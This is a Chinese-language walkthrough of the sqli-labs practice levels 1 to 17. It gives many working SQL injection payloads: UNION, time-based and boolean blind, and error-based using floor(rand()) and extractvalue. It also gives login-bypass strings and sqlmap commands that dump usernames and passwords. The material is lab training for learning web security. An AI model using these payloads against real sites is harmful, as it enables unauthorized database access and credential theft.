根据报错信息,可以确定输入参数的内容被存放到一对单引号中间,
猜想:咱们输入的1在数据库中出现的位置为:select … from … where id=’1’ …,
也可以查看sqli-lab中less-1的php文件可以看到,和猜想一致,
暴库
得到数据库的库名
采用order by语句进行递归查询
1.查询到3还是没有回显信息
2.一直查询到4,出现回显信息。
暴字段名
?id=0’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+
?id=0’ union select 1,2,group_concat(username,0x3a,password) from users–+
0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ‘:’ ,用以分割pasword和username。
?id=1’ and 1=1–+ //错误
?id=1’ and 1=2–+ //正确
尝试id=1’看会有什么回显
回显出现错误,显然存在 ’ 没有被过滤,出现语法错误或者说是简单‘字符’注入导致多出来一个 ’ ,从而导致语法错误。
通过实际验证回显错误属于哪一种,首先验证是否是字符型注入:
?id=1’ and 1=1’
发现回显还是出错,说明不是第一种错误,接下来验证是不是第二种错误
?id=1 and 1=1–+
看到页面回显判断是数字注入,通过验证发现存在注入点
?id=1 and 1=2–+
发现注入点后,开始通过语法暴字段名称
?id=1 order by 4–+
通过多次尝试后,由回显信息得出数据库只存在三个字段,接下来我们采用union select联合查询
?id=0 union select 1,2,3–+ 回显内容如下
接着爆库名,版本号:?id=-1’ union select 1,database(),version()–+
接着爆所有数据库:?id=0 union select 1,2,group_concat(schema_name) from information_schema.schemata–+
爆表名:?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’%23
爆列名:?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’%23
爆数据:?id=0 union select 1,2,group_concat(id,username,password) from users%23
单引号报错,输入id=1’,根据报错信息发现输入的内容后有’ ,想到应该以 ’ 来闭合表达式。
由回显信息可看出输入id=1’报错,所以在id=1后面加上 ’ ,其他方法和前面用到一样,不再重复。
这样我们就直接爆数据库了 :?id=-1’) union select 1,2,group_concat(id,username,password) from users%23
双引号报错,输入1’,显示正常,输入1’’,根据报错信息发现输入的内容后有"),这应该是以’’) 来闭合表达式的
由回显信息可看出输入id=1’'报错,所以在id=1后面加上 ‘’) ,其他方法和前面用到一样,不再重复。
直接爆数据 :?id=-1") union select 1,2,group_concat(id,username,password) from users%23
输入id=1,看到如下回显信息,第一反应就是布尔型盲注、报错型注入、时间延迟型盲注了
下面给出验证时间延迟型的盲注:
?id=1’ and sleep(5)–+
发现明显延迟,说明猜测正确。接下来的思路是通过延迟,依次爆破数据库长度,数据库名,表名,列名,以及字段。
注解:其实本题不能称作盲注,因为存在回显,真正的盲注时不存在回显的,只能根据浏览器加载页面情况,判定是否注入成功。
方法一:时间延迟型手工注入:
时间延迟型手工注入,正确会延迟,错误没有延迟。id无所谓,又不看回显,可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察。
首先,我们来爆库长度
?id=1’ and if(length(database())=8,sleep(5),1)–+ (通过观察我们能明显感觉出来时间延长了)
注解:一次次尝试,发现明显延迟,数据库长度为8.
接下来我们可以爆库名
?id=1’ and if(left(database(),1)=‘s’,sleep(5),1)–+
注解:通过验证,明显延迟,数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。(这种手工验证会花费大量时间)
最终爆破得到left(database(),8)=‘security’ (验证会发现明显的延迟)
爆表名payload
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
通过坚持不懈的测试,终于在limit 3,1 爆破出user表名为users.
爆列名payload
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,多次尝试是limit 3,1的时候查到了password列,同样的方法查询username ,接下来爆破字段的值。
爆破值payload
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。
方法二,布尔型手工注入:
在布尔型注入中,正确会回显,错误没有回显,以此为依据逐字爆破,注意id=1
手工注入时可使用例如left((select database()),1)<‘t’ 这样的比较二分查找方法快速爆破。
暴库payload
?id=1' and left((select database()),1)='s'--+
爆表paylaod
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+
修改limit x,1和left中的位数限定数字,爆破到第一张表为referer,终于在第三张表爆破到user表,名为users。
爆列名payload
?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+
定向爆破制定password为字段名,最后找到第4个字段为password,同理看看有没有usrname,最后到找到了,接下来只需要爆破这两个字段的值就完事了。
爆字段payload
?id=1' and left((select password from users order by id limit 0,1),1)='d' --+
用户名
?id=1' and left((select username from users order by id limit 0,1),1)='d' --+
按照id排序,这样便于对应。注意limit 从0开始.最后爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。
注解:布尔盲注比较烦的就是,需要大量时间去尝试。
方法三,使用concat聚合函数
payload在concat()中构造
爆库payload
?id=-1'union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
?id=-1' union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a--+
爆表名payload
?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
修改limit x,1 可以遍历表名,找到user这个表,猜测它存放username和password
爆列名payload
?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
修改limit x,1 可以遍历列名,找到username和password列
爆字段payload
?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
修改limit x,1 可以显示第x个用户的password和username (‘[’是分隔符)
双引号字符型注入,上一题的单引号改成双引号就可以了,两种方法:时间延迟注入,或者报错型注入。
?id=1' and 1=1 --+
由回显看出,这应该是布尔盲注了,参考第五关一步步来,根据回显信息判断,不再重复操作。
注解:第五关concat函数方法用不了。
不管怎么输入,回显总是如下图
判断是时间盲注,playload:
?id=1' and sleep(3) --+
当id=1时候,发现明显的延迟,说明注入成功,接下来的爆破与第五关相同,不在重复。
这一关与第九关相同,只是把单引号换成了双引号,方法相同,不在重复。
post型注入,先用万能钥匙登录看一下。
如果我们采用Dump用户使用Dump密码登陆,可以看到以下
union select联合查询
-admin' union select 1,2#
-admin’ union select database(),user()#
查看数据
-admin’
union select (select group_concat(username) from security.users),(select group_concat(password) from security.users) #
less-12和less-11一样,只是闭合方式变成了”。不再重复介绍。
通过报错可知 是通过’) 闭合的
直接用 admin’ ) and 1=2#
直接报错注入
uname=admin') and extractvalue(1,concat(0x7e,(select database()))) and ('
uname=admin') and extractvalue(1,concat(0x7e,(select version())))#
-admin’ ) and (extractvalue(1,concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x5c)))#
less-14和less-13原理相同,只是把 ’ 换成了 ‘’ ,不在重复。
时间延迟测试payload
uname=admin' and sleep(5) --+&passwd=admin&submit=Submit
明显延迟,确定使用延迟注入。接下来就是耗费时间的不断菜解,不在过多叙述。
万能账号绕过密码验证:admin")#
不管怎么输入,都没有错误信息回显,猜想延迟注入。
less-16和less-15差不多,只需要把上一题正的单引号改为双引号加括号 ") 就完事了
和前面有点不一样的是,直接回显密码重置。
直接用sqlmap跑出数据库信息。
>sqlmap.py -r E:\java\post\17.txt -p passwd --dbs
>sqlmap.py -r E:\java\post\17.txt -p passwd -D security -T users -C password,username --dump
sqlmap.py -r E:\java\post\17.txt -p passwd -D security --tables